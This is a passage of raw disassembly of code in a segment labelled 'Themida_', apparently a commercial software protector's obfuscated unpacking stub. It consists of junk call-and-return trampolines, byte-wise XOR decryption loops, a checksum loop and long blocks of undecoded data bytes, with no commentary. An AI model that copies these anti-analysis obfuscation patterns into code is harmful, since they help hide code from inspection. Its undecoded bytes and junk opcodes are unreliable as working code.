		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx

locret_5D684C:				; CODE XREF: Themida_:005D67E5j
		retn
sub_5D683D	endp

; ---------------------------------------------------------------------------
		or	ecx, ebp
		push	ecx
		mov	bx, 0B1Fh
		pop	ebx
		and	cl, 4
		add	[ebp+7D10019h],	eax
		or	cl, cl
		jz	loc_5D69EF
		push	0
		push	ebx
		call	sub_5D6871
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6871	proc near		; CODE XREF: Themida_:005D6869p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h


loc_5D687E:				; CODE XREF: Themida_:005D68F1j
		inc	ebx
		push	ebx
		retn
sub_5D6871	endp

; ---------------------------------------------------------------------------
		db 0DAh, 0FBh, 0B5h
; ---------------------------------------------------------------------------
		add	[ebx], ecx
		popf
		or	eax, 8B07D108h
		test	esi, ebp
		sub	cl, dl
		pop	es
		push	0
		push	ecx
		call	sub_5D689C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D689C	proc near		; CODE XREF: Themida_:005D6894p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5D689C	endp

; ---------------------------------------------------------------------------
		mov	al, ds:2444882Eh
		xor	eax, [ebp+7D131CDh]
		push	0
		push	ebx
		call	sub_5D68C2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D68C2	proc near		; CODE XREF: Themida_:005D68BAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5D68C2	endp

; ---------------------------------------------------------------------------
		adc	al, 0D0h
		cld
		nop
		mov	bx, 3C32h
		push	eax
		call	near ptr loc_5D68F1+1
		inc	eax
		popa
		pop	ss
		inc	edx
		inc	esi
		mov	eax, ds:8153ED86h
		push	ebp
		push	0FFFFFF8Ch
		add	dh, [esi-69h]
		dec	esi


loc_5D68F1:				; CODE XREF: Themida_:005D68DBp
		loope	loc_5D687E
		fcomp	dword ptr [edi-70h]
		push	0
		push	ebx
		call	sub_5D6901
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6901	proc near		; CODE XREF: Themida_:005D68F9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D6901	endp

; ---------------------------------------------------------------------------
		sbb	eax, 4E34D781h
		pop	ebx
		adc	ebp, [edx+0]
		push	0
		push	ebp
		call	sub_5D6925
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6925	proc near		; CODE XREF: Themida_:005D691Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5D6925	endp

; ---------------------------------------------------------------------------
		db 0E8h, 95h, 0A3h
		dd 0EE806E8h, 2000000h,	0C18BA211h, 0FD5F45C5h,	0B6660DF9h
		dd 68F0FBAh, 8B000000h,	0D1254DBDh, 8E95B07h, 99000000h
		dd 0D1212DEEh, 8AAF9E9Ah, 266268D9h, 0BF66DEEEh, 481123Ah
		dd 30DD9D24h, 0B1953121h, 0FF07D126h, 0D12B1595h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BEC0C26h, 0D130A9BDh, 5A858907h, 6A07D4EAh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0E6F1C356h, 11E9h, 8ADC4300h, 373901F1h, 0A97205FEh
		dd 18E57E75h, 5EE99878h, 53000001h, 522DF781h
; ---------------------------------------------------------------------------
		mov	bl, 10h
		pop	edi


loc_5D69EF:				; CODE XREF: Themida_:005D6860j
		mov	eax, [ebp+7D4EA52h]
		push	0
		push	edi
		call	sub_5D6A00
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6A00	proc near		; CODE XREF: Themida_:005D69F8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5D6A00	endp

; ---------------------------------------------------------------------------
		dd 0B46A6D1Eh, 3B69CB23h, 0D78166A4h, 0C7CC7Bh,	18h, 55BD8B60h
		dd 6607D108h, 8B61D68Bh, 0D4EA56B5h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0F6BB3473h
		dd 0A26F932Ch, 3820F09h, 80000000h, 858BD9E3h, 7D10C9Dh
		dd 0BD8B0689h, 7D10289h, 28F5858Bh, 0BB6607D1h,	0BD89BB79h
		dd 7D12385h, 6A044689h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 96CEC352h, 0F50D88Bh
		dd 0B8Ah, 5860F00h, 0BB000000h,	5FA000D0h, 56006A96h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0FF535337h, 0D4EA52B5h, 8D895207h, 7D11999h,	6CDB685Bh
		dd 8B6671EBh, 243481D8h, 71F46F24h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 76C35040h, 37FED928h, 8D0DB02Dh
		dd 0D4EA5A85h, 0CE907h,	5F480000h, 0B9068386h, 62A959EFh
		dd 8A50994Bh, 240489D9h, 9E39D781h, 95FF4AECh, 7D12B15h
		dd 38D0Fh, 0BF0F0000h, 8B6661F8h, 3985C7F8h, 307D11Dh
		dd 66000000h, 835185BFh, 0D4EA5ABDh, 840F0007h,	46h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C9C35646h, 14E808h
		dd 0DE6A0000h, 3FBA4F56h, 0CB7D5B54h, 0BFED3A33h, 1F4BF87Fh
		dd 858995CBh, 7D1257Dh,	1FE95Fh, 0BF660000h
		db 98h,	0F4h
; ---------------------------------------------------------------------------


loc_5D6BAA:				; CODE XREF: Themida_:005D6805j
					; Themida_:005D6BC1j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D6BAA
		jmp	short loc_5D6BFB
; ---------------------------------------------------------------------------


loc_5D6BC5:				; CODE XREF: Themida_:005D67C2j
					; Themida_:005D6BDCj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D6BC5
		jmp	short loc_5D6BFB
; ---------------------------------------------------------------------------


loc_5D6BE0:				; CODE XREF: Themida_:005D67F5j
					; Themida_:005D6BF7j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D6BE0
		jmp	short $+2


loc_5D6BFB:				; CODE XREF: Themida_:005D6BC3j
					; Themida_:005D6BDEj
		mov	eax, eax
		and	edi, 1CBEBF1Ch
		push	0
		push	eax
		call	sub_5D6C0E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6C0E	proc near		; CODE XREF: Themida_:005D6C06p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D6C0E	endp

; ---------------------------------------------------------------------------
		dw 363Dh
; ---------------------------------------------------------------------------
		mov	al, 7Ch
		mov	dl, [ecx-175455Ch]
		cmp	dword ptr [ebp+7D11D39h], 3
		jnz	loc_5D6FF2
		jmp	loc_5D6C4B
; ---------------------------------------------------------------------------
		icebp
		retn
; ---------------------------------------------------------------------------
		dd 0F8D29130h, 89A73A4h, 76C219E1h
		db 57h,	29h, 57h
; ---------------------------------------------------------------------------


loc_5D6C4B:				; CODE XREF: Themida_:005D6C35j
		cmp	dword ptr [ebp+7D4EA5Ah], 0
		jz	loc_5D6FF2
		xor	ebx, [ebp+7D1213Dh]
		push	dword ptr [ebp+7D4EA5Ah]
		call	dword ptr [ebp+7D12EB1h]
		mov	bh, 0EFh
		mov	esi, [ebp+7D4EA4Eh]
		push	0
		push	edi
		call	sub_5D6C7D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6C7D	proc near		; CODE XREF: Themida_:005D6C75p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5D6C7D	endp

; ---------------------------------------------------------------------------
		db 0F8h, 6Dh, 50h
; ---------------------------------------------------------------------------
		jnp	loc_5D6C9C
		xor	[ebp+7D1280Dh],	ebx


loc_5D6C9C:				; CODE XREF: Themida_:005D6C90j
		pop	edi
		mov	dword ptr [esi], 10001h
		jmp	loc_5D6CAE
; ---------------------------------------------------------------------------
		dd 4AE8B7ACh
		db 0FEh, 0A2h
; ---------------------------------------------------------------------------


loc_5D6CAE:				; CODE XREF: Themida_:005D6CA3j
		xchg	eax, esi
		mov	edi, ebx
		push	eax
		mov	bx, cx
		xchg	eax, esi
		push	0
		push	edx
		call	sub_5D6CC1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6CC1	proc near		; CODE XREF: Themida_:005D6CB9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5D6CC1	endp

; ---------------------------------------------------------------------------
		cmp	[eax+4D7B182Eh], dh
		and	bh, 0F6h
		push	dword ptr [ebp+7D4EA5Ah]
		ja	loc_5D6CEC
		mov	ebx, [ebp+7D130A9h]


loc_5D6CEC:				; CODE XREF: Themida_:005D6CE0j
		call	dword ptr [ebp+7D131A5h]
		mov	[ebp+7D1162Dh],	ebx
		mov	esi, [ebp+7D4EA4Eh]
		push	0
		push	eax
		call	sub_5D6D09
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6D09	proc near		; CODE XREF: Themida_:005D6D01p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D6D09	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5D6D72
		xor	[ebp+7D126D5h],	ebx
		pop	edi
		mov	eax, [ebp+7D12B31h]
		push	0
		push	esi
		call	sub_5D6D33
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6D33	proc near		; CODE XREF: Themida_:005D6D2Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5D6D33	endp

; ---------------------------------------------------------------------------
		db 5
		dd 7E3C7D92h, 0E41B04EEh, 0C48689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0DE8E25C3h
; ---------------------------------------------------------------------------
		adc	bh, [ecx]


loc_5D6D72:				; CODE XREF: Themida_:005D6D19j
		jmp	loc_5D6D7C
; ---------------------------------------------------------------------------
		db 7Dh
		dd 7003D762h
; ---------------------------------------------------------------------------


loc_5D6D7C:				; CODE XREF: Themida_:loc_5D6D72j
		add	bx, 0A473h
		mov	edx, [ebp+7D11B51h]
		push	0
		push	edx
		call	sub_5D6D92
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6D92	proc near		; CODE XREF: Themida_:005D6D8Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5D6D92	endp

; ---------------------------------------------------------------------------
		cmp	al, 0A0h
		and	ebx, [ebp+7D121D1h]
		add	edx, 4
		push	0
		push	ebp
		call	sub_5D6DB8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6DB8	proc near		; CODE XREF: Themida_:005D6DB0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5D6DB8	endp

; ---------------------------------------------------------------------------
		mov	[ecx-54h], bl
		dec	edi
		xor	ch, cl
		add	ebp, edi
		mov	edi, [ebp+7D122F5h]
		mov	[eax+20h], edx
		add	[ebp+7D126B5h],	ecx
		lea	eax, [ebp+7D4FEE5h]
		add	[ebp+7D12F09h],	eax
		mov	[esi+0B8h], eax
		sub	edi, 13FFF954h
		push	0
		jns	loc_5D6E04
		mov	edi, 609B415Fh


loc_5D6E04:				; CODE XREF: Themida_:005D6DF9j
		push	dword ptr [ebp+7D4EA5Ah]
		push	0
		push	eax
		call	sub_5D6E15
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6E15	proc near		; CODE XREF: Themida_:005D6E0Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D6E15	endp

; ---------------------------------------------------------------------------
		db 1, 0FFh, 95h
		dd 7D11DE9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	87C35343h, 1D9D8BC3h, 9607D120h, 28A0Fh, 5B570000h
		dd 0FE950h, 0B3600000h,	1730190Fh, 0FAB2D70Bh, 8843089Ch
		dd 6A9643h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F3E4BFC3h, 0FE81EA8h, 10000000h,	765AA1D2h
		dd 8BEB72DFh, 0A5EB1428h, 0FF5F559Bh, 0D4EA5AB5h, 119D2907h
		dd 0FF07D11Fh, 0D12D9D95h, 0DFB70F07h, 2809BD83h, 0F0007D1h
		dd 5B84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 71BA815Eh, 5E8A2E7h, 0B1000000h
		dd 0F11D5C36h, 0AE9h, 0D96D8700h, 1C06EC09h, 5B3C7425h
		dd 13870Fh, 0E9520000h,	0Ch, 0E5533126h, 0E24B7DDBh, 0B9AC8374h
		dd 0DAB7505Fh, 0F5243489h, 0EA5AB5FFh, 6A07D4h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 8CF8EAC3h, 89F551A8h, 0D10C75B5h, 0B595FF07h, 6A07D132h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 83BC351h,	1DF81138h, 6820Fh, 9D030000h, 7D1057Dh
		dd 3255BD8Bh, 0B5FF07D1h, 7D4EA5Ah, 18C19D8Bh, 95FF07D1h
		dd 7D12709h, 0BD83FB8Bh, 7D10FC1h, 41840F02h, 0F000000h
		dd 185h, 858BF900h, 7D11E25h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 3FC35141h, 36F466EBh, 355B8CD9h
		dd 0C69Fh, 33719D8Bh, 0BD3307D1h, 7D11755h, 22CD85C7h
		dd 7D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6FF2:				; CODE XREF: Themida_:005D6C2Fj
					; Themida_:005D6C52j
		jmp	near ptr dword_5D5C30+7D3h
; ---------------------------------------------------------------------------
		mov	[ebp+7D11D61h],	edi
		mov	eax, ecx
		mov	ebx, 2AC55D0Fh
		lea	eax, [ebp+7D11361h]
		push	0
		push	eax
		call	sub_5D7015
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7015	proc near		; CODE XREF: Themida_:005D700Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5D7015	endp

; ---------------------------------------------------------------------------
		db 78h,	0E9h, 34h
; ---------------------------------------------------------------------------
		imul	ebx, [esi-3Bh],	0BD8BDA8Bh
		inc	ecx
		pop	es
		rol	dword ptr [edi], 1
		push	eax
		jle	loc_5D703E
		mov	di, 0F0AAh


loc_5D703E:				; CODE XREF: Themida_:005D7034j
		mov	[esp], eax
		push	0
		push	ebx
		call	sub_5D704C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D704C	proc near		; CODE XREF: Themida_:005D7044p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5D704C	endp

; ---------------------------------------------------------------------------
		dd 0F206EA6Eh, 0D1B589DBh, 6A07D129h, 3D8D8900h, 8907D134h
		dd 0D11EF9B5h, 8D006A07h, 0D60BDA85h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 6E5C3904h, 57BBAE24h, 28619D33h, 8B5B07D1h, 0D11065BDh
		dd 2CE78107h, 83375FF1h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 43D599C3h, 0BD315247h
		dd 7D10229h, 0DF8B6650h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 6A3FC355h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0AEE30CCBh, 80006A78h, 95FF70D7h, 7D11DE1h
		dd 699D8B51h, 5F07D102h, 0FE8h,	7243AA00h, 2721AB47h, 3B5EA79Ch
		dd 0ECE32A33h, 830F60h,	0F000000h, 8Ah,	8D5F6100h, 0D4D5668Dh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 14E9A1C1h, 6F000000h, 0FD345D2Eh, 0A83BBDB0h
		dd 6D31D76h, 8A46DD89h,	3159EA83h, 0D1315585h, 6AD1FF07h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0F0F9C357h, 52AE580h, 834B6CE6h, 0D11715BDh
		dd 850F0107h, 4Ch, 23299D8Bh, 26A07D1h,	6820Fh,	0BD890000h
		dd 7D125DDh, 0BE950h, 44210000h, 0A7BFE5AFh, 0EA18C70Bh
		dd 24048980h, 7EF78166h, 0E995FFA8h, 0E907D11Dh, 14h, 8390887Ah
		dd 0BD750EA8h, 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh, 0DC7E9h
		dd 0E800h, 815D0000h, 0D60BE4EDh, 0B2BB6607h, 0DE94Ah
		dd 0ABC0000h, 5F85E282h, 2A268E3Dh, 8D94C1D8h, 0D4BC7785h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0EE8FAh,	0A3260000h, 0BE740B3h, 9E363387h
		dd 816AC853h, 0E288BB66h, 800F505Bh, 3,	89DA8B66h, 8B572404h
		dd 0D1296DBDh, 0FF645F07h, 35h,	25896400h, 0
; ---------------------------------------------------------------------------
		jnz	loc_5D72A8
		sub	[ebp+7D13391h],	edi


loc_5D72A8:				; CODE XREF: Themida_:005D729Cj
		sbb	edi, 18A57EDDh
		inc	dword ptr [ebp+7D12921h]
		jmp	loc_5D72C9
; ---------------------------------------------------------------------------
		db 6Ch,	2Eh, 0DCh
		dd 1021CA87h, 0BA936933h, 18FB1F3Bh
		db 0BEh
; ---------------------------------------------------------------------------


loc_5D72C9:				; CODE XREF: Themida_:005D72B4j
		mov	[ebp+7D11DEDh],	esi
		push	0FFFFFFFFh
		push	0
		push	ebx
		call	sub_5D72DC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D72DC	proc near		; CODE XREF: Themida_:005D72D4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5D72DC	endp

; ---------------------------------------------------------------------------
		dd 54C3B56Dh, 58DF9CBFh, 13840Fh, 7E80000h, 0E1000000h
		dd 384C4173h, 0B52906C5h, 7D12FA9h, 8DB5FF5Bh, 6A07D106h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 56C6C350h, 603A8F47h, 26ED8589h, 6E807D1h
		dd 88000000h, 856AA4C1h, 5EEFB517h, 0FA8B6661h,	141D95FFh
		dd 16E907D1h, 89000001h, 0D10F098Dh, 8900B007h,	0D12DC585h
		dd 0E470E607h, 0BB665371h, 3C5B0C3Eh, 0F6830F61h, 0F000000h
		dd 0B60FDBBFh, 0DE8B66C8h, 6BAh, 8BF88B00h, 14E8C1h, 0EFBA0000h
		dd 2D001110h, 0CA3EA813h, 0D6BC5402h, 6BFB707Ch, 9D8B362Ch
		dd 7D13181h, 8A0F605Bh,	6, 1F7DBD89h, 0BF0F07D1h, 0E8C161FEh
		dd 4BDB8104h, 6640805Fh, 8D0FE2F7h, 3, 2BFEBF0Fh, 8BF88BC8h
		dd 0A9BD8BD1h, 0E907D132h, 8Dh,	0D6B70F60h, 73D8D89h, 8B6107D1h
		dd 185h, 58E0F00h, 0BF000000h, 49F9A1A7h, 1115BD8Bh, 0C08307D1h
		dd 859D8B07h, 8B07D123h, 0C083F9h, 0B553EB81h, 0D03B0EE2h
		dd 11830Fh, 8D890000h, 7D11F79h, 44E9h,	65953100h, 8B07D119h
		dd 0FFFFFF8Dh, 0D98B57FFh, 1E1835Fh, 2B840Fh, 0A5830000h
		dd 0FFFFFFFFh, 0FEBF0FFEh, 19589h, 11E90000h, 0E5000000h
		dd 49FB9E8Eh, 168276C7h, 832FA93Ch, 648F1139h, 0E9h, 0DAB58D00h
		dd 0F07D58Ch, 88Dh, 9D0B5200h, 7D10199h, 0FF006A5Fh, 0D1005595h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0ABB7E5F7h, 0F5FB931h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 992A81C3h, 8544C777h, 4D03DDBBh, 0FCE18347h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 88C35545h, 399D891Fh
		dd 0F07D132h, 0F83h, 0AE900h, 7FE90000h, 0D36B60E2h, 8A9059D4h
		dd 18529FCh, 0B807D110h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5D7527
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7527	proc near		; CODE XREF: Themida_:005D751Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5D7527	endp

; ---------------------------------------------------------------------------
		db 83h
; ---------------------------------------------------------------------------
		mov	ds:313B8D55h, al
		mov	ebp, 7D101EDh
		mov	di, 0E8A8h
		sub	edx, edx
		jmp	loc_5D755E
; ---------------------------------------------------------------------------
		or	al, 2
		mul	byte ptr [ebp+7F3D1F8h]
		cmp	eax, 0A9A7CDA6h
		push	eax
		push	edx
		xor	edx, [ebx]


loc_5D755E:				; CODE XREF: Themida_:005D7548j
		mov	di, si


loc_5D7561:				; CODE XREF: Themida_:005D756Bj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D7561
		push	0
		push	edx
		call	sub_5D7578
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7578	proc near		; CODE XREF: Themida_:005D7570p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D7578	endp

; ---------------------------------------------------------------------------
		dd 8E659A2h, 0F9B3EA7Dh, 0BB66E3ABh, 6A9CCCh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 4FF319C3h
		dd 0FC59D2Bh, 880D07D1h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F9AAC356h
		dd 8937ABBFh, 51958B69h, 8907D11Bh, 0D133159Dh,	558D8B07h
		dd 8907D12Dh, 0D130A9BDh, 0C28B5007h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 6A8CC350h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0A974C357h, 0F58B337h, 287h,	83F88B00h, 0D11BC5BDh
		dd 840F0007h, 2Eh, 0AE9h, 0A7BE8E00h, 8CCD1DC0h, 0B8AF92EFh
		dd 0
		dd 4D0A8D8Dh, 6E807D1h,	3F000000h, 3BB0FE5h, 0E1FF5F74h
		dd 32698D89h, 0BD8307D1h, 7D11D39h, 4C840F00h, 31000004h
		dd 0D1207995h, 85950107h, 8307D119h, 0D11D39BDh, 840F0107h
		dd 44Eh, 8E8h, 9F51B00h, 0A22EDA90h, 0BA6660D2h, 5F612248h
		dd 1D39BD83h, 0F0307D1h, 3F786h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0C3EE777Ah
		dd 0B5BD33C7h, 0BB07D110h, 1CE05BC1h, 57006A60h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8C66B1B5h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 4E18085h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0F7C35242h,	0BD0B8817h, 7D113BDh
		dd 6839E381h, 0C90A7682h, 126840Fh, 0B70F0000h,	0F5858BDFh
		dd 6A07D128h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 97ADC356h, 0E9B35EAFh,	6, 0DBE6EACEh
		dd 85330FE4h, 7D131CDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 7C35747h, 7FBF662Fh, 14E85035h, 0FE000000h
		dd 1664BE4Dh, 3971145Eh, 0F268B847h, 0FFD0A33Dh, 0BFB5A850h
		dd 504B3CB0h, 2404895Fh, 0B568006Ah, 66AB725Eh,	812BC7BFh
		dd 0A54A2404h, 6A54ACh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 4D3DBC3h, 0E873F2EEh, 14h, 3FDAA33Fh
		dd 0F4EC9734h, 0F071AD74h, 1C9B6688h, 1C3B41A8h, 11E9h
		dd 7D6EA700h, 80F33C60h, 0F49D38Eh, 80CE475Fh, 0FF5B2D13h
		dd 0D12B1595h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 96EDDBB5h, 0FDFBF0Fh
		dd 68Fh, 45852900h, 8907D108h, 0D4EA5A85h, 1ADE907h, 9D290000h
		dd 7D117B1h, 0EA52858Bh, 6A07D4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 65967FC3h, 0A6F1E93Fh
		dd 0DA78BF49h, 0C73D31h, 18h, 31B19D2Bh, 0B58B07D1h, 7D4EA56h
		dd 33299509h, 858B07D1h, 7D10C9Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 57C35242h, 894830A4h, 0CB816606h
		dd 800FEDAFh, 6, 0CC3CD381h, 858B0254h,	7D128F5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 38C35747h, 89E3516Ah
		dd 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 78B4A9C3h, 19A60174h, 0E5BD8B09h,	9607D130h
		dd 0D37466BFh, 850F502Dh, 2, 6A96FE8Bh,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 904EC351h
		dd 6FE43BA9h, 52B5FF2Dh, 6A07D4EAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9E48C352h
		dd 0F3EF68Dh, 2568DAB7h, 0FFCDEC6h, 80h, 24048100h, 3403DDAh
		dd 33EDBD8Bh, 858D07D1h, 7D4EA5Ah, 89F9B70Fh, 0D118B98Dh
		dd 8B669007h, 525050DFh, 1E62BF66h, 8B66310Fh, 90585AFAh
		dd 2C059D33h, 9D8B07D1h, 7D131A9h, 2B1595FFh, 6A07D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 405F32C3h, 7753DBD3h, 8C0F90D1h, 2, 0F50F88Bh, 615FD9BFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D3C35646h
		dd 0FAD9032h, 0C8Eh, 7E900h, 0E8B00000h, 7CDE908Dh, 3985C738h
		dd 307D11Dh, 89000000h,	0D1298985h, 5ABD8307h, 7D4EAh
		dd 3E840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
